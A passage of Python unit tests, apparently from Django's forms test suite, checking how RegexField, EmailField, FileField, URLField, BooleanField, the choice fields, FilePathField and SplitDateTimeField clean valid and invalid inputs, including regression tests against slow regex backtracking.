17 2:30 PM')) # RegexField ################################################################## def test_regexfield_1(self): f = RegexField('^\d[A-F]\d$') self.assertEqual('2A2', f.clean('2A2')) self.assertEqual('3F3', f.clean('3F3')) self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, '3G3') self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, ' 2A2') self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, '2A2 ') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') def test_regexfield_2(self): f = RegexField('^\d[A-F]\d$', required=False) self.assertEqual('2A2', f.clean('2A2')) self.assertEqual('3F3', f.clean('3F3')) self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, '3G3') self.assertEqual('', f.clean('')) def test_regexfield_3(self): f = RegexField(re.compile('^\d[A-F]\d$')) self.assertEqual('2A2', f.clean('2A2')) self.assertEqual('3F3', f.clean('3F3')) self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, '3G3') self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, ' 2A2') self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, '2A2 ') def test_regexfield_4(self): f = RegexField('^\d\d\d\d$', error_message='Enter a four-digit number.') self.assertEqual('1234', f.clean('1234')) self.assertRaisesMessage(ValidationError, "'Enter a four-digit number.'", f.clean, '123') self.assertRaisesMessage(ValidationError, "'Enter a four-digit number.'", f.clean, 'abcd') def test_regexfield_5(self): f = RegexField('^\d+$', min_length=5, max_length=10) self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 5 characters (it has 3).'", f.clean, '123') six.assertRaisesRegex(self, ValidationError, "'Ensure this value has at least 5 characters \(it has 3\)\.', u?'Enter a valid value\.'", f.clean, 'abc') self.assertEqual('12345', f.clean('12345')) self.assertEqual('1234567890', f.clean('1234567890')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 10 characters (it has 11).'", f.clean, '12345678901') self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, '12345a') def test_regexfield_6(self): """ Ensure that it works with unicode characters. Refs #. """ f = RegexField('^\w+$') self.assertEqual('éèøçÎÎ你好', f.clean('éèøçÎÎ你好')) def test_change_regex_after_init(self): f = RegexField('^[a-z]+$') f.regex = '^\d+$' self.assertEqual('1234', f.clean('1234')) self.assertRaisesMessage(ValidationError, "'Enter a valid value.'", f.clean, 'abcd') # EmailField ################################################################## # See also validators tests for validate_email specific tests def test_emailfield_1(self): f = EmailField() self.assertWidgetRendersTo(f, '<input type="email" name="f" id="id_f" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual('person@example.com', f.clean('person@example.com')) self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'", f.clean, 'foo') self.assertEqual('local@domain.with.idn.xyz\xe4\xf6\xfc\xdfabc.part.com', f.clean('local@domain.with.idn.xyzäöüßabc.part.com')) def test_email_regexp_for_performance(self): f = EmailField() # Check for runaway regex security problem. This will take for-freeking-ever # if the security fix isn't in place. addr = 'viewx3dtextx26qx3d@yahoo.comx26latlngx3d15854521645943074058' self.assertEqual(addr, f.clean(addr)) def test_emailfield_not_required(self): f = EmailField(required=False) self.assertEqual('', f.clean('')) self.assertEqual('', f.clean(None)) self.assertEqual('person@example.com', f.clean('person@example.com')) self.assertEqual('example@example.com', f.clean(' example@example.com \t \t ')) self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'", f.clean, 'foo') def test_emailfield_min_max_length(self): f = EmailField(min_length=10, max_length=15) self.assertWidgetRendersTo(f, '<input id="id_f" type="email" name="f" maxlength="15" />') self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 10 characters (it has 9).'", f.clean, 'a@foo.com') self.assertEqual('alf@foo.com', f.clean('alf@foo.com')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 15 characters (it has 20).'", f.clean, 'alf123456788@foo.com') # FileField ################################################################## def test_filefield_1(self): f = FileField() self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '', '') self.assertEqual('files/test1.pdf', f.clean('', 'files/test1.pdf')) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None, '') self.assertEqual('files/test2.pdf', f.clean(None, 'files/test2.pdf')) self.assertRaisesMessage(ValidationError, "'No file was submitted. Check the encoding type on the form.'", f.clean, SimpleUploadedFile('', b'')) self.assertRaisesMessage(ValidationError, "'No file was submitted. Check the encoding type on the form.'", f.clean, SimpleUploadedFile('', b''), '') self.assertEqual('files/test3.pdf', f.clean(None, 'files/test3.pdf')) self.assertRaisesMessage(ValidationError, "'No file was submitted. Check the encoding type on the form.'", f.clean, 'some content that is not a file') self.assertRaisesMessage(ValidationError, "'The submitted file is empty.'", f.clean, SimpleUploadedFile('name', None)) self.assertRaisesMessage(ValidationError, "'The submitted file is empty.'", f.clean, SimpleUploadedFile('name', b'')) self.assertEqual(SimpleUploadedFile, type(f.clean(SimpleUploadedFile('name', b'Some File Content')))) self.assertEqual(SimpleUploadedFile, type(f.clean(SimpleUploadedFile('我隻氣墊船裝滿晒鱔.txt', 'मेरी मँडराने वाली नाव सर्पमीनों से भरी ह'.encode('utf-8'))))) self.assertEqual(SimpleUploadedFile, type(f.clean(SimpleUploadedFile('name', b'Some File Content'), 'files/test4.pdf'))) def test_filefield_2(self): f = FileField(max_length = 5) self.assertRaisesMessage(ValidationError, "'Ensure this filename has at most 5 characters (it has 18).'", f.clean, SimpleUploadedFile('test_maxlength.txt', b'hello world')) self.assertEqual('files/test1.pdf', f.clean('', 'files/test1.pdf')) self.assertEqual('files/test2.pdf', f.clean(None, 'files/test2.pdf')) self.assertEqual(SimpleUploadedFile, type(f.clean(SimpleUploadedFile('name', b'Some File Content')))) def test_filefield_3(self): f = FileField(allow_empty_file=True) self.assertEqual(SimpleUploadedFile, type(f.clean(SimpleUploadedFile('name', b'')))) def test_filefield_changed(self): ''' Test for the behavior of _has_changed for FileField. The value of data will more than likely come from request.FILES. The value of initial data will likely be a filename stored in the database. Since its value is of no use to a FileField it is ignored. ''' f = FileField() # No file was uploaded and no initial data. self.assertFalse(f._has_changed('', None)) # A file was uploaded and no initial data. self.assertTrue(f._has_changed('', {'filename': 'resume.txt', 'content': 'My resume'})) # A file was not uploaded, but there is initial data self.assertFalse(f._has_changed('resume.txt', None)) # A file was uploaded and there is initial data (file identity is not dealt # with here) self.assertTrue(f._has_changed('resume.txt', {'filename': 'resume.txt', 'content': 'My resume'})) # URLField ################################################################## def test_urlfield_1(self): f = URLField() self.assertWidgetRendersTo(f, '<input type="url" name="f" id="id_f" />') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual('http://localhost/', f.clean('http://localhost')) self.assertEqual('http://example.com/', f.clean('http://example.com')) self.assertEqual('http://example.com./', f.clean('http://example.com.')) self.assertEqual('http://www.example.com/', f.clean('http://www.example.com')) self.assertEqual('http://www.example.com:8000/test', f.clean('http://www.example.com:8000/test')) self.assertEqual('http://valid-with-hyphens.com/', f.clean('valid-with-hyphens.com')) self.assertEqual('http://subdomain.domain.com/', f.clean('subdomain.domain.com')) self.assertEqual('http://200.8.9.10/', f.clean('http://200.8.9.10')) self.assertEqual('http://200.8.9.10:8000/test', f.clean('http://200.8.9.10:8000/test')) self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'foo') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://example') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://example.') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'com.') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, '.') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://.com') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://invalid-.com') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://-invalid.com') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://inv-.alid-.com') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://inv-.-alid.com') self.assertEqual('http://valid-----hyphens.com/', f.clean('http://valid-----hyphens.com')) self.assertEqual('http://some.idn.xyz\xe4\xf6\xfc\xdfabc.domain.com:123/blah', f.clean('http://some.idn.xyzäöüßabc.domain.com:123/blah')) self.assertEqual('http://www.example.com/s/http://code.djangoproject.com/ticket/13804', f.clean('www.example.com/s/http://code.djangoproject.com/ticket/13804')) self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, '[a') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://[a') def test_url_regex_ticket11198(self): f = URLField() # hangs "forever" if catastrophic backtracking in ticket:#11198 not fixed self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://%s' % ("X"*200,)) # a second test, to make sure the problem is really addressed, even on # domains that don't fail the domain label length check in the regex self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://%s' % ("X"*60,)) def test_urlfield_2(self): f = URLField(required=False) self.assertEqual('', f.clean('')) self.assertEqual('', f.clean(None)) self.assertEqual('http://example.com/', f.clean('http://example.com')) self.assertEqual('http://www.example.com/', f.clean('http://www.example.com')) self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'foo') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://example') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://example.') self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 'http://.com') def test_urlfield_5(self): f = URLField(min_length=15, max_length=20) self.assertWidgetRendersTo(f, '<input id="id_f" type="url" name="f" maxlength="20" />') self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 15 characters (it has 13).'", f.clean, 'http://f.com') self.assertEqual('http://example.com/', f.clean('http://example.com')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 20 characters (it has 38).'", f.clean, 'http://abcdefghijklmnopqrstuvwxyz.com') def test_urlfield_6(self): f = URLField(required=False) self.assertEqual('http://example.com/', f.clean('example.com')) self.assertEqual('', f.clean('')) self.assertEqual('https://example.com/', f.clean('https://example.com')) def test_urlfield_7(self): f = URLField() self.assertEqual('http://example.com/', f.clean('http://example.com')) self.assertEqual('http://example.com/test', f.clean('http://example.com/test')) def test_urlfield_8(self): # ticket #11826 f = URLField() self.assertEqual('http://example.com/?some_param=some_value', f.clean('http://example.com?some_param=some_value')) def test_urlfield_9(self): f = URLField() urls = ( 'http://עברית.idn.icann.org/', 'http://sãopaulo.com/', 'http://sãopaulo.com.br/', 'http://пример.испытание/', 'http://مثال.إختبار/', 'http://例子.测试/', 'http://例子.測試/', 'http://उदाहरण.परीक्षा/', 'http://例え.テスト/', 'http://مثال.آزمایشی/', 'http://실례.테스트/', 'http://العربية.idn.icann.org/', ) for url in urls: # Valid IDN self.assertEqual(url, f.clean(url)) def test_urlfield_10(self): """Test URLField correctly validates IPv6 (#18779).""" f = URLField() urls = ( 'http://::/', 'http://6:21b4:92/', 'http://[12:34:3a53]/', 'http://[a34:9238::]:8080/', ) for url in urls: self.assertEqual(url, f.clean(url)) def test_urlfield_not_string(self): f = URLField(required=False) self.assertRaisesMessage(ValidationError, "'Enter a valid URL.'", f.clean, 23) # BooleanField ################################################################ def test_booleanfield_1(self): f = BooleanField() self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual(True, f.clean(True)) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, False) self.assertEqual(True, f.clean(1)) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, 0) self.assertEqual(True, f.clean('Django rocks')) self.assertEqual(True, f.clean('True')) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, 'False') def test_booleanfield_2(self): f = BooleanField(required=False) self.assertEqual(False, f.clean('')) self.assertEqual(False, f.clean(None)) self.assertEqual(True, f.clean(True)) self.assertEqual(False, f.clean(False)) self.assertEqual(True, f.clean(1)) self.assertEqual(False, f.clean(0)) self.assertEqual(True, f.clean('1')) self.assertEqual(False, f.clean('0')) self.assertEqual(True, f.clean('Django rocks')) self.assertEqual(False, f.clean('False')) self.assertEqual(False, f.clean('false')) self.assertEqual(False, f.clean('FaLsE')) def test_boolean_picklable(self): self.assertIsInstance(pickle.loads(pickle.dumps(BooleanField())), BooleanField) def test_booleanfield_changed(self): f = BooleanField() self.assertFalse(f._has_changed(None, None)) self.assertFalse(f._has_changed(None, '')) self.assertFalse(f._has_changed('', None)) self.assertFalse(f._has_changed('', '')) self.assertTrue(f._has_changed(False, 'on')) self.assertFalse(f._has_changed(True, 'on')) self.assertTrue(f._has_changed(True, '')) # Initial value may have mutated to a string due to show_hidden_initial (#19537) self.assertTrue(f._has_changed('False', 'on')) # ChoiceField ################################################################# def test_choicefield_1(self): f = ChoiceField(choices=[('1', 'One'), ('2', 'Two')]) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual('1', f.clean(1)) self.assertEqual('1', f.clean('1')) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 3 is not one of the available choices.'", f.clean, '3') def test_choicefield_2(self): f = ChoiceField(choices=[('1', 'One'), ('2', 'Two')], required=False) self.assertEqual('', f.clean('')) self.assertEqual('', f.clean(None)) self.assertEqual('1', f.clean(1)) self.assertEqual('1', f.clean('1')) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 3 is not one of the available choices.'", f.clean, '3') def test_choicefield_3(self): f = ChoiceField(choices=[('J', 'John'), ('P', 'Paul')]) self.assertEqual('J', f.clean('J')) self.assertRaisesMessage(ValidationError, "'Select a valid choice. John is not one of the available choices.'", f.clean, 'John') def test_choicefield_4(self): f = ChoiceField(choices=[('Numbers', (('1', 'One'), ('2', 'Two'))), ('Letters', (('3','A'),('4','B'))), ('5','Other')]) self.assertEqual('1', f.clean(1)) self.assertEqual('1', f.clean('1')) self.assertEqual('3', f.clean(3)) self.assertEqual('3', f.clean('3')) self.assertEqual('5', f.clean(5)) self.assertEqual('5', f.clean('5')) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 6 is not one of the available choices.'", f.clean, '6') # TypedChoiceField ############################################################ # TypedChoiceField is just like ChoiceField, except that coerced types will # be returned: def test_typedchoicefield_1(self): f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int) self.assertEqual(1, f.clean('1')) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 2 is not one of the available choices.'", f.clean, '2') def test_typedchoicefield_2(self): # Different coercion, same validation. f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=float) self.assertEqual(1.0, f.clean('1')) def test_typedchoicefield_3(self): # This can also cause weirdness: be careful (bool(-1) == True, remember) f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=bool) self.assertEqual(True, f.clean('-1')) def test_typedchoicefield_4(self): # Even more weirdness: if you have a valid choice but your coercion function # can't coerce, yo'll still get a validation error. Don't do this! f = TypedChoiceField(choices=[('A', 'A'), ('B', 'B')], coerce=int) self.assertRaisesMessage(ValidationError, "'Select a valid choice. B is not one of the available choices.'", f.clean, 'B') # Required fields require values self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') def test_typedchoicefield_5(self): # Non-required fields aren't required f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False) self.assertEqual('', f.clean('')) # If you want cleaning an empty value to return a different type, tell the field def test_typedchoicefield_6(self): f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False, empty_value=None) self.assertEqual(None, f.clean('')) def test_typedchoicefield_has_changed(self): # has_changed should not trigger required validation f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=True) self.assertFalse(f._has_changed(None, '')) # NullBooleanField ############################################################ def test_nullbooleanfield_1(self): f = NullBooleanField() self.assertEqual(None, f.clean('')) self.assertEqual(True, f.clean(True)) self.assertEqual(False, f.clean(False)) self.assertEqual(None, f.clean(None)) self.assertEqual(False, f.clean('0')) self.assertEqual(True, f.clean('1')) self.assertEqual(None, f.clean('2')) self.assertEqual(None, f.clean('3')) self.assertEqual(None, f.clean('hello')) def test_nullbooleanfield_2(self): # Make sure that the internal value is preserved if using HiddenInput (#7753) class HiddenNullBooleanForm(Form): hidden_nullbool1 = NullBooleanField(widget=HiddenInput, initial=True) hidden_nullbool2 = NullBooleanField(widget=HiddenInput, initial=False) f = HiddenNullBooleanForm() self.assertHTMLEqual('<input type="hidden" name="hidden_nullbool1" value="True" id="id_hidden_nullbool1" /><input type="hidden" name="hidden_nullbool2" value="False" id="id_hidden_nullbool2" />', str(f)) def test_nullbooleanfield_3(self): class HiddenNullBooleanForm(Form): hidden_nullbool1 = NullBooleanField(widget=HiddenInput, initial=True) hidden_nullbool2 = NullBooleanField(widget=HiddenInput, initial=False) f = HiddenNullBooleanForm({ 'hidden_nullbool1': 'True', 'hidden_nullbool2': 'False' }) self.assertEqual(None, f.full_clean()) self.assertEqual(True, f.cleaned_data['hidden_nullbool1']) self.assertEqual(False, f.cleaned_data['hidden_nullbool2']) def test_nullbooleanfield_4(self): # Make sure we're compatible with MySQL, which uses 0 and 1 for its boolean # values. (#9609) NULLBOOL_CHOICES = (('1', 'Yes'), ('0', 'No'), ('', 'Unknown')) class MySQLNullBooleanForm(Form): nullbool0 = NullBooleanField(widget=RadioSelect(choices=NULLBOOL_CHOICES)) nullbool1 = NullBooleanField(widget=RadioSelect(choices=NULLBOOL_CHOICES)) nullbool2 = NullBooleanField(widget=RadioSelect(choices=NULLBOOL_CHOICES)) f = MySQLNullBooleanForm({ 'nullbool0': '1', 'nullbool1': '0', 'nullbool2': '' }) self.assertEqual(None, f.full_clean()) self.assertEqual(True, f.cleaned_data['nullbool0']) self.assertEqual(False, f.cleaned_data['nullbool1']) self.assertEqual(None, f.cleaned_data['nullbool2']) def test_nullbooleanfield_changed(self): f = NullBooleanField() self.assertTrue(f._has_changed(False, None)) self.assertTrue(f._has_changed(None, False)) self.assertFalse(f._has_changed(None, None)) self.assertFalse(f._has_changed(False, False)) self.assertTrue(f._has_changed(True, False)) self.assertTrue(f._has_changed(True, None)) self.assertTrue(f._has_changed(True, False)) # MultipleChoiceField ######################################################### def test_multiplechoicefield_1(self): f = MultipleChoiceField(choices=[('1', 'One'), ('2', 'Two')]) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertEqual(['1'], f.clean([1])) self.assertEqual(['1'], f.clean(['1'])) self.assertEqual(['1', '2'], f.clean(['1', '2'])) self.assertEqual(['1', '2'], f.clean([1, '2'])) self.assertEqual(['1', '2'], f.clean((1, '2'))) self.assertRaisesMessage(ValidationError, "'Enter a list of values.'", f.clean, 'hello') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, []) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, ()) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 3 is not one of the available choices.'", f.clean, ['3']) def test_multiplechoicefield_2(self): f = MultipleChoiceField(choices=[('1', 'One'), ('2', 'Two')], required=False) self.assertEqual([], f.clean('')) self.assertEqual([], f.clean(None)) self.assertEqual(['1'], f.clean([1])) self.assertEqual(['1'], f.clean(['1'])) self.assertEqual(['1', '2'], f.clean(['1', '2'])) self.assertEqual(['1', '2'], f.clean([1, '2'])) self.assertEqual(['1', '2'], f.clean((1, '2'))) self.assertRaisesMessage(ValidationError, "'Enter a list of values.'", f.clean, 'hello') self.assertEqual([], f.clean([])) self.assertEqual([], f.clean(())) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 3 is not one of the available choices.'", f.clean, ['3']) def test_multiplechoicefield_3(self): f = MultipleChoiceField(choices=[('Numbers', (('1', 'One'), ('2', 'Two'))), ('Letters', (('3','A'),('4','B'))), ('5','Other')]) self.assertEqual(['1'], f.clean([1])) self.assertEqual(['1'], f.clean(['1'])) self.assertEqual(['1', '5'], f.clean([1, 5])) self.assertEqual(['1', '5'], f.clean([1, '5'])) self.assertEqual(['1', '5'], f.clean(['1', 5])) self.assertEqual(['1', '5'], f.clean(['1', '5'])) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 6 is not one of the available choices.'", f.clean, ['6']) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 6 is not one of the available choices.'", f.clean, ['1','6']) def test_multiplechoicefield_changed(self): f = MultipleChoiceField(choices=[('1', 'One'), ('2', 'Two'), ('3', 'Three')]) self.assertFalse(f._has_changed(None, None)) self.assertFalse(f._has_changed([], None)) self.assertTrue(f._has_changed(None, ['1'])) self.assertFalse(f._has_changed([1, 2], ['1', '2'])) self.assertFalse(f._has_changed([2, 1], ['1', '2'])) self.assertTrue(f._has_changed([1, 2], ['1'])) self.assertTrue(f._has_changed([1, 2], ['1', '3'])) # TypedMultipleChoiceField ############################################################ # TypedMultipleChoiceField is just like MultipleChoiceField, except that coerced types # will be returned: def test_typedmultiplechoicefield_1(self): f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int) self.assertEqual([1], f.clean(['1'])) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 2 is not one of the available choices.'", f.clean, ['2']) def test_typedmultiplechoicefield_2(self): # Different coercion, same validation. f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=float) self.assertEqual([1.0], f.clean(['1'])) def test_typedmultiplechoicefield_3(self): # This can also cause weirdness: be careful (bool(-1) == True, remember) f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=bool) self.assertEqual([True], f.clean(['-1'])) def test_typedmultiplechoicefield_4(self): f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int) self.assertEqual([1, -1], f.clean(['1','-1'])) self.assertRaisesMessage(ValidationError, "'Select a valid choice. 2 is not one of the available choices.'", f.clean, ['1','2']) def test_typedmultiplechoicefield_5(self): # Even more weirdness: if you have a valid choice but your coercion function # can't coerce, you'll still get a validation error. Don't do this! f = TypedMultipleChoiceField(choices=[('A', 'A'), ('B', 'B')], coerce=int) self.assertRaisesMessage(ValidationError, "'Select a valid choice. B is not one of the available choices.'", f.clean, ['B']) # Required fields require values self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, []) def test_typedmultiplechoicefield_6(self): # Non-required fields aren't required f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False) self.assertEqual([], f.clean([])) def test_typedmultiplechoicefield_7(self): # If you want cleaning an empty value to return a different type, tell the field f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False, empty_value=None) self.assertEqual(None, f.clean([])) def test_typedmultiplechoicefield_has_changed(self): # has_changed should not trigger required validation f = TypedMultipleChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=True) self.assertFalse(f._has_changed(None, '')) # ComboField ################################################################## def test_combofield_1(self): f = ComboField(fields=[CharField(max_length=20), EmailField()]) self.assertEqual('test@example.com', f.clean('test@example.com')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 20 characters (it has 28).'", f.clean, 'longemailaddress@example.com') self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'", f.clean, 'not an email') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) def test_combofield_2(self): f = ComboField(fields=[CharField(max_length=20), EmailField()], required=False) self.assertEqual('test@example.com', f.clean('test@example.com')) self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 20 characters (it has 28).'", f.clean, 'longemailaddress@example.com') self.assertRaisesMessage(ValidationError, "'Enter a valid email address.'", f.clean, 'not an email') self.assertEqual('', f.clean('')) self.assertEqual('', f.clean(None)) # FilePathField ############################################################### def test_filepathfield_1(self): path = os.path.abspath(upath(forms.__file__)) path = os.path.dirname(path) + '/' self.assertTrue(fix_os_paths(path).endswith('/django/forms/')) def test_filepathfield_2(self): path = upath(forms.__file__) path = os.path.dirname(os.path.abspath(path)) + '/' f = FilePathField(path=path) f.choices = [p for p in f.choices if p[0].endswith('.py')] f.choices.sort() expected = [ ('/django/forms/__init__.py', '__init__.py'), ('/django/forms/fields.py', 'fields.py'), ('/django/forms/forms.py', 'forms.py'), ('/django/forms/formsets.py', 'formsets.py'), ('/django/forms/models.py', 'models.py'), ('/django/forms/util.py', 'util.py'), ('/django/forms/widgets.py', 'widgets.py') ] for exp, got in zip(expected, fix_os_paths(f.choices)): self.assertEqual(exp[1], got[1]) self.assertTrue(got[0].endswith(exp[0])) self.assertRaisesMessage(ValidationError, "'Select a valid choice. fields.py is not one of the available choices.'", f.clean, 'fields.py') assert fix_os_paths(f.clean(path + 'fields.py')).endswith('/django/forms/fields.py') def test_filepathfield_3(self): path = upath(forms.__file__) path = os.path.dirname(os.path.abspath(path)) + '/' f = FilePathField(path=path, match='^.*?\.py$') f.choices.sort() expected = [ ('/django/forms/__init__.py', '__init__.py'), ('/django/forms/fields.py', 'fields.py'), ('/django/forms/forms.py', 'forms.py'), ('/django/forms/formsets.py', 'formsets.py'), ('/django/forms/models.py', 'models.py'), ('/django/forms/util.py', 'util.py'), ('/django/forms/widgets.py', 'widgets.py') ] for exp, got in zip(expected, fix_os_paths(f.choices)): self.assertEqual(exp[1], got[1]) self.assertTrue(got[0].endswith(exp[0])) def test_filepathfield_4(self): path = os.path.abspath(upath(forms.__file__)) path = os.path.dirname(path) + '/' f = FilePathField(path=path, recursive=True, match='^.*?\.py$') f.choices.sort() expected = [ ('/django/forms/__init__.py', '__init__.py'), ('/django/forms/extras/__init__.py', 'extras/__init__.py'), ('/django/forms/extras/widgets.py', 'extras/widgets.py'), ('/django/forms/fields.py', 'fields.py'), ('/django/forms/forms.py', 'forms.py'), ('/django/forms/formsets.py', 'formsets.py'), ('/django/forms/models.py', 'models.py'), ('/django/forms/util.py', 'util.py'), ('/django/forms/widgets.py', 'widgets.py') ] for exp, got in zip(expected, fix_os_paths(f.choices)): self.assertEqual(exp[1], got[1]) self.assertTrue(got[0].endswith(exp[0])) def test_filepathfield_folders(self): path = os.path.dirname(upath(__file__)) + '/filepath_test_files/' f = FilePathField(path=path, allow_folders=True, allow_files=False) f.choices.sort() expected = [ ('/tests/forms_tests/tests/filepath_test_files/directory', 'directory'), ] for exp, got in zip(expected, fix_os_paths(f.choices)): self.assertEqual(exp[1], got[1]) self.assertTrue(got[0].endswith(exp[0])) f = FilePathField(path=path, allow_folders=True, allow_files=True) f.choices.sort() expected = [ ('/tests/forms_tests/tests/filepath_test_files/.dot-file', '.dot-file'), ('/tests/forms_tests/tests/filepath_test_files/directory', 'directory'), ('/tests/forms_tests/tests/filepath_test_files/fake-image.jpg', 'fake-image.jpg'), ('/tests/forms_tests/tests/filepath_test_files/real-text-file.txt', 'real-text-file.txt'), ] actual = fix_os_paths(f.choices) self.assertEqual(len(expected), len(actual)) for exp, got in zip(expected, actual): self.assertEqual(exp[1], got[1]) self.assertTrue(got[0].endswith(exp[0])) # SplitDateTimeField ########################################################## def test_splitdatetimefield_1(self): from django.forms.widgets import SplitDateTimeWidget f = SplitDateTimeField() assert isinstance(f.widget, SplitDateTimeWidget) self.assertEqual(datetime.datetime(2006, 1, 10, 7, 30), f.clean([datetime.date(2006, 1, 10), datetime.time(7, 30)])) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, None) self.assertRaisesMessage(ValidationError, "'This field is required.'", f.clean, '') self.assertRaisesMessage(ValidationError, "'Enter a list of values.'", f.clean, 'hello') six.assertRaisesRegex(self, ValidationError, "'Enter a valid date\.', u?'Enter a valid time\.'", f.clean, ['hello', 'there']) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, ['2006-01-10', 'there']) self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, ['hello', '07:30']) def test_splitdatetimefield_2(self): f = SplitDateTimeField(required=False) self.assertEqual(datetime.datetime(2006, 1, 10, 7, 30), f.clean([datetime.date(2006, 1, 10), datetime.time(7, 30)])) self.assertEqual(datetime.datetime(2006, 1, 10, 7, 30), f.clean(['2006-01-10', '07:30'])) self.assertEqual(None, f.clean(None)) self.assertEqual(None, f.clean('')) self.assertEqual(None, f.clean([''])) self.assertEqual(None, f.clean(['', ''])) self.assertRaisesMessage(ValidationError, "'Enter a list of values.'", f.clean, 'hello') six.assertRaisesRegex(self, ValidationError, "'Enter a valid date\.', u?'Enter a valid time\.'", f.clean, ['hello', 'there']) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, ['2006-01-10', 'there']) self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, ['hello', '07:30']) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, ['2006-01-10', '']) self.assertRaisesMessage(ValidationError, "'Enter a valid time.'", f.clean, ['2006-01-10']) self.assertRaisesMessage(ValidationError, "'Enter a valid date.'", f.clean, ['', '07:30']) def test_splitdatetimefield_changed(self): f = 